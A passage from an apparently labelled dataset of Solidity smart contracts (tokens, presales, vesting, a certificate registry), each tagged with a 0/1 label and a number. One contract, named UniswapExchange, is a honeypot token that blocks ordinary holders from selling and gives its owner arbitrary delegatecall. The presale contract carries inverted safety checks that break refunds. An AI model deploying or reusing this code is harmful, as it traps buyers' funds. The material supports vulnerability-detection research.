certHashKey[certHash]=certificates[certID];
}
function arraySum(uint[] arr) internal pure returns (uint){
uint len= 0;
for(uint i=0;i<arr.length;i++){
len+=arr[i];
}
return len;
}
function getCharacterCount(string str) pure internal returns (uint length) {
uint i=0;
bytes memory string_rep = bytes(str);
while (i<string_rep.length)
{
if (string_rep[i]>>7==0)
i+=1;
else if (string_rep[i]>>5==0x6)
i+=2;
else if (string_rep[i]>>4==0xE)
i+=3;
else if (string_rep[i]>>3==0x1E)
i+=4;
else
i+=1;
length++;
}
}
function batchNewCertificate(address[] beneficiaries, string certHash, string version, string content,uint[] certHashChar, uint[] versionChar,uint[] contentChar) public returns (uint[]) {
uint certHashCharSteps=0;
uint versionCharSteps=0;
uint contentCharSteps=0;
uint[] memory certID = new uint[](beneficiaries.length);
for (uint i=0;i<beneficiaries.length;i++){
certID[i]=newCertificate(
beneficiaries[i],
substring(certHash,certHashCharSteps,(certHashCharSteps+certHashChar[i])),
substring(version,versionCharSteps,(versionCharSteps+versionChar[i])),
substring(content,contentCharSteps,(contentCharSteps+contentChar[i]))
);
certHashCharSteps+=certHashChar[i];
versionCharSteps+=versionChar[i];
contentCharSteps+=contentChar[i];
}
return certID;
}
function revokeCertificate(uint targetCertID) public returns (bool){
if(msg.sender==certificates[targetCertID].issuer_addr){
certificates[targetCertID].isRevoked=true;
return true;
}else{
return false;
}
}
function getMatchCountAddress(uint addr_type,address value) public constant returns (uint){
uint counter = 0;
for (uint i=1; i<numCerts+1; i++) {
if((addr_type==0&&certificates[i].issuer_addr==value)||(addr_type==1&&certificates[i].recepient_addr==value)){
counter++;
}
}
return counter;
}
function getCertsByIssuer(address value) public constant returns (uint[]) {
uint256[] memory matches=new uint[](getMatchCountAddress(0,value));
uint matchCount=0;
for (uint i=1; i<numCerts+1; i++) {
if(certificates[i].issuer_addr==value){
matches[matchCount++]=i;
}
}
return matches;
}
function getCertsByRecepient(address value) public constant returns (uint[]) {
uint256[] memory matches=new uint[](getMatchCountAddress(1,value));
uint matchCount=0;
for (uint i=1; i<numCerts+1; i++) {
if(certificates[i].recepient_addr==value){
matches[matchCount++]=i;
}
}
return matches;
}
function getMatchCountString(uint string_type,string value) public constant returns (uint){
uint counter = 0;
for (uint i=1; i<numCerts+1; i++) {
if(string_type==0){
if(stringsEqual(certificates[i].certHash,value)){
counter++;
}
}
if(string_type==1){
if(stringsEqual(certificates[i].version,value)){
counter++;
}
}
if(string_type==2){
if(stringsEqual(certificates[i].content,value)){
counter++;
}
}
}
return counter;
}
function getCertsByProof(string value) public constant returns (uint[]) {
uint256[] memory matches=new uint[](getMatchCountString(0,value));
uint matchCount=0;
for (uint i=1; i<numCerts+1; i++) {
if(stringsEqual(certificates[i].certHash,value)){
matches[matchCount++]=i;
}
}
return matches;
}
function getCertsByVersion(string value) public constant returns (uint[]) {
uint256[] memory matches=new uint[](getMatchCountString(1,value));
uint matchCount=0;
for (uint i=1; i<numCerts+1; i++) {
if(stringsEqual(certificates[i].version,value)){
matches[matchCount++]=i;
}
}
return matches;
}
function getCertsByContent(string value) public constant returns (uint[]) {
uint256[] memory matches=new uint[](getMatchCountString(2,value));
uint matchCount=0;
for (uint i=1; i<numCerts+1; i++) {
if(stringsEqual(certificates[i].content,value)){
matches[matchCount++]=i;
}
}
return matches;
}
function stringsEqual(string storage _a, string memory _b) internal constant returns (bool) {
bytes storage a = bytes(_a);
bytes memory b = bytes(_b);
if (a.length != b.length)
return false;
for (uint i = 0; i < a.length; i ++)
if (a[i] != b[i])
return false;
return true;
}
function substring(string str, uint startIndex, uint endIndex) internal pure returns (string) {
bytes memory strBytes = bytes(str);
bytes memory result = new bytes(endIndex-startIndex);
for(uint i = startIndex; i < endIndex; i++) {
result[i-startIndex] = strBytes[i];
}
return string(result);
}
} | 0 | 1,583 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract TokenEconomyToken is SafeMath {
address public owner;
string public name;
string public symbol;
uint public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
bool lock = false;
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol,
uint decimalUnits
) public {
owner = msg.sender;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier isLock {
require(!lock);
_;
}
function setLock(bool _lock) onlyOwner public{
lock = _lock;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function _transfer(address _from, address _to, uint _value) isLock internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function transferBatch(address[] _to, uint256 _value) public returns (bool success) {
for (uint i=0; i<_to.length; i++) {
_transfer(msg.sender, _to[i], _value);
}
return true;
}
} | 1 | 2,673 |
pragma solidity ^0.4.15;
contract Owned {
address public owner;
function Owned() { owner = msg.sender; }
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Bounty0xPresale is Owned {
bool private saleHasEnded = false;
bool private isWhitelistingActive = true;
uint256 public totalFunding;
uint256 public constant MINIMUM_PARTICIPATION_AMOUNT = 0.1 ether;
uint256 public MAXIMUM_PARTICIPATION_AMOUNT = 3.53 ether;
uint256 public constant PRESALE_MINIMUM_FUNDING = 1 ether;
uint256 public constant PRESALE_MAXIMUM_FUNDING = 705 ether;
uint256 public constant PRESALE_START_DATE = 1511186400;
uint256 public constant PRESALE_END_DATE = PRESALE_START_DATE + 2 weeks;
uint256 public constant OWNER_CLAWBACK_DATE = 1512306000;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public earlyParticipantWhitelist;
event LogParticipation(address indexed sender, uint256 value, uint256 timestamp);
function Bounty0xPresale () payable {
}
function () payable {
require(!saleHasEnded);
require(now > PRESALE_START_DATE);
require(now < PRESALE_END_DATE);
require(msg.value >= MINIMUM_PARTICIPATION_AMOUNT);
require(msg.value <= MAXIMUM_PARTICIPATION_AMOUNT);
if (isWhitelistingActive) {
require(earlyParticipantWhitelist[msg.sender]);
}
require(safeIncrement(totalFunding, msg.value) <= PRESALE_MAXIMUM_FUNDING);
addBalance(msg.sender, msg.value);
}
function ownerWithdraw(uint256 value) external onlyOwner {
if (totalFunding >= PRESALE_MAXIMUM_FUNDING) {
owner.transfer(value);
saleHasEnded = true;
} else {
require(now >= PRESALE_END_DATE);
require(totalFunding >= PRESALE_MINIMUM_FUNDING);
owner.transfer(value);
}
}
function participantWithdrawIfMinimumFundingNotReached(uint256 value) external {
require(now >= PRESALE_END_DATE);
require(totalFunding <= PRESALE_MINIMUM_FUNDING);
assert(balanceOf[msg.sender] < value);
balanceOf[msg.sender] = safeDecrement(balanceOf[msg.sender], value);
msg.sender.transfer(value);
}
function ownerClawback() external onlyOwner {
require(now >= OWNER_CLAWBACK_DATE);
owner.transfer(this.balance);
}
function setEarlyParicipantWhitelist(address addr, bool status) external onlyOwner {
earlyParticipantWhitelist[addr] = status;
}
function whitelistFilteringSwitch() external onlyOwner {
if (isWhitelistingActive) {
isWhitelistingActive = false;
MAXIMUM_PARTICIPATION_AMOUNT = 30000 ether;
} else {
revert();
}
}
function addBalance(address participant, uint256 value) private {
balanceOf[participant] = safeIncrement(balanceOf[participant], value);
totalFunding = safeIncrement(totalFunding, value);
LogParticipation(participant, value, now);
}
function assertEquals(uint256 expectedValue, uint256 actualValue) private constant {
assert(expectedValue == actualValue);
}
function safeIncrement(uint256 base, uint256 increment) private constant returns (uint256) {
assert(increment >= base);
return base + increment;
}
function safeDecrement(uint256 base, uint256 decrement) private constant returns (uint256) {
assert(decrement <= base);
return base - decrement;
}
} | 1 | 2,170 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,345 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
modifier onlyOwner {
require(isOwner(msg.sender));
_;
}
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
}
function isOwner(address _address) public constant returns (bool) {
return owner == _address;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
contract FTT is Ownable {
using SafeMath for uint256;
uint256 public totalSupply = 1000000000 * 10**uint256(decimals);
string public constant name = "FarmaTrust Token";
string public symbol = "FTT";
uint8 public constant decimals = 18;
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event FTTIssued(address indexed from, address indexed to, uint256 indexed amount, uint256 timestamp);
event TdeStarted(uint256 startTime);
event TdeStopped(uint256 stopTime);
event TdeFinalized(uint256 finalizeTime);
uint256 public constant FT_TOKEN_SALE_CAP = 600000000 * 10**uint256(decimals);
uint256 public FT_OPERATIONAL_FUND = totalSupply - FT_TOKEN_SALE_CAP;
uint256 public FT_TEAM_FUND = FT_OPERATIONAL_FUND / 10;
uint256 public fttIssued = 0;
address public tdeIssuer = 0x2Ec9F52A5e4E7B5e20C031C1870Fd952e1F01b3E;
address public teamVestingAddress;
address public unsoldVestingAddress;
address public operationalReserveAddress;
bool public tdeActive;
bool public tdeStarted;
bool public isFinalized = false;
bool public capReached;
uint256 public tdeDuration = 60 days;
uint256 public tdeStartTime;
function FTT() public {
}
modifier onlyTdeIssuer {
require(msg.sender == tdeIssuer);
_;
}
modifier tdeRunning {
require(tdeActive && block.timestamp < tdeStartTime + tdeDuration);
_;
}
modifier tdeEnded {
require(((!tdeActive && block.timestamp > tdeStartTime + tdeDuration) && tdeStarted) || capReached);
_;
}
function startTde()
public
onlyOwner
{
require(!isFinalized);
tdeActive = true;
tdeStarted = true;
if (tdeStartTime == 0) {
tdeStartTime = block.timestamp;
}
TdeStarted(tdeStartTime);
}
function stopTde(bool _restart)
external
onlyOwner
{
tdeActive = false;
if (_restart) {
tdeStartTime = 0;
}
TdeStopped(block.timestamp);
}
function extendTde(uint256 _time)
external
onlyOwner
{
tdeDuration = tdeDuration.add(_time);
}
function shortenTde(uint256 _time)
external
onlyOwner
{
tdeDuration = tdeDuration.sub(_time);
}
function setTdeIssuer(address _tdeIssuer)
external
onlyOwner
{
tdeIssuer = _tdeIssuer;
}
function setOperationalReserveAddress(address _operationalReserveAddress)
external
onlyOwner
tdeRunning
{
operationalReserveAddress = _operationalReserveAddress;
}
function issueFTT(address _user, uint256 _fttAmount)
public
onlyTdeIssuer
tdeRunning
returns(bool)
{
uint256 newAmountIssued = fttIssued.add(_fttAmount);
require(_user != address(0));
require(_fttAmount > 0);
require(newAmountIssued <= FT_TOKEN_SALE_CAP);
balances[_user] = balances[_user].add(_fttAmount);
fttIssued = newAmountIssued;
FTTIssued(tdeIssuer, _user, _fttAmount, block.timestamp);
if (fttIssued == FT_TOKEN_SALE_CAP) {
capReached = true;
}
return true;
}
function fttIssued()
external
view
returns (uint256)
{
return fttIssued;
}
function finalize()
external
tdeEnded
onlyOwner
{
require(!isFinalized);
uint256 teamVestingCliff = 15778476;
uint256 teamVestingDuration = 1 years;
TokenVesting teamVesting = new TokenVesting(owner, now, teamVestingCliff, teamVestingDuration, true);
teamVesting.transferOwnership(owner);
teamVestingAddress = address(teamVesting);
balances[teamVestingAddress] = FT_TEAM_FUND;
if (!capReached) {
uint256 unsoldVestingCliff = 3 years;
uint256 unsoldVestingDuration = 10 years;
TokenVesting unsoldVesting = new TokenVesting(owner, now, unsoldVestingCliff, unsoldVestingDuration, true);
unsoldVesting.transferOwnership(owner);
unsoldVestingAddress = address(unsoldVesting);
balances[unsoldVestingAddress] = FT_TOKEN_SALE_CAP - fttIssued;
}
balances[operationalReserveAddress] = FT_OPERATIONAL_FUND - FT_TEAM_FUND;
isFinalized = true;
TdeFinalized(block.timestamp);
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool)
{
if (!isFinalized) return false;
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value)
public
returns (bool)
{
if (!isFinalized) return false;
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
public
returns (bool)
{
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function balanceOf(address _owner)
public
view
returns (uint256 balance)
{
return balances[_owner];
}
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue)
public
returns (bool success)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
returns (bool success)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 0 | 424 |
pragma solidity ^0.4.13;
contract ReentrancyHandlingContract {
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
}
contract Owned {
address public owner;
address public newOwner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
event OwnerUpdate(address _prevOwner, address _newOwner);
}
contract PriorityPassInterface {
function getAccountLimit(address _accountAddress) public constant returns (uint);
function getAccountActivity(address _accountAddress) public constant returns (bool);
}
contract ERC20TokenInterface {
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract SeedCrowdsaleContract is ReentrancyHandlingContract, Owned {
struct ContributorData {
uint contributionAmount;
}
mapping(address => ContributorData) public contributorList;
uint public nextContributorIndex;
mapping(uint => address) public contributorIndexes;
state public crowdsaleState = state.pendingStart;
enum state { pendingStart, priorityPass, openedPriorityPass, crowdsaleEnded }
uint public presaleStartTime;
uint public presaleUnlimitedStartTime;
uint public crowdsaleEndedTime;
event PresaleStarted(uint blocktime);
event PresaleUnlimitedStarted(uint blocktime);
event CrowdsaleEnded(uint blocktime);
event ErrorSendingETH(address to, uint amount);
event MinCapReached(uint blocktime);
event MaxCapReached(uint blocktime);
event ContributionMade(address indexed contributor, uint amount);
PriorityPassInterface priorityPassContract = PriorityPassInterface(0x0);
uint public minCap;
uint public maxP1Cap;
uint public maxCap;
uint public ethRaised;
address public multisigAddress;
uint nextContributorToClaim;
mapping(address => bool) hasClaimedEthWhenFail;
function() noReentrancy payable public {
require(msg.value != 0);
require(crowdsaleState != state.crowdsaleEnded);
bool stateChanged = checkCrowdsaleState();
if (crowdsaleState == state.priorityPass) {
if (priorityPassContract.getAccountActivity(msg.sender)) {
processTransaction(msg.sender, msg.value);
} else {
refundTransaction(stateChanged);
}
} else if (crowdsaleState == state.openedPriorityPass) {
if (priorityPassContract.getAccountActivity(msg.sender)) {
processTransaction(msg.sender, msg.value);
} else {
refundTransaction(stateChanged);
}
} else {
refundTransaction(stateChanged);
}
}
function checkCrowdsaleState() internal returns (bool) {
if (ethRaised == maxCap && crowdsaleState != state.crowdsaleEnded) {
crowdsaleState = state.crowdsaleEnded;
MaxCapReached(block.timestamp);
CrowdsaleEnded(block.timestamp);
return true;
}
if (block.timestamp > presaleStartTime && block.timestamp <= presaleUnlimitedStartTime) {
if (crowdsaleState != state.priorityPass) {
crowdsaleState = state.priorityPass;
PresaleStarted(block.timestamp);
return true;
}
} else if (block.timestamp > presaleUnlimitedStartTime && block.timestamp <= crowdsaleEndedTime) {
if (crowdsaleState != state.openedPriorityPass) {
crowdsaleState = state.openedPriorityPass;
PresaleUnlimitedStarted(block.timestamp);
return true;
}
} else {
if (crowdsaleState != state.crowdsaleEnded && block.timestamp > crowdsaleEndedTime) {
crowdsaleState = state.crowdsaleEnded;
CrowdsaleEnded(block.timestamp);
return true;
}
}
return false;
}
function refundTransaction(bool _stateChanged) internal {
if (_stateChanged) {
msg.sender.transfer(msg.value);
} else {
revert();
}
}
function calculateMaxContribution(address _contributor) constant public returns (uint maxContribution) {
uint maxContrib;
if (crowdsaleState == state.priorityPass) {
maxContrib = priorityPassContract.getAccountLimit(_contributor) - contributorList[_contributor].contributionAmount;
if (maxContrib > (maxP1Cap - ethRaised)) {
maxContrib = maxP1Cap - ethRaised;
}
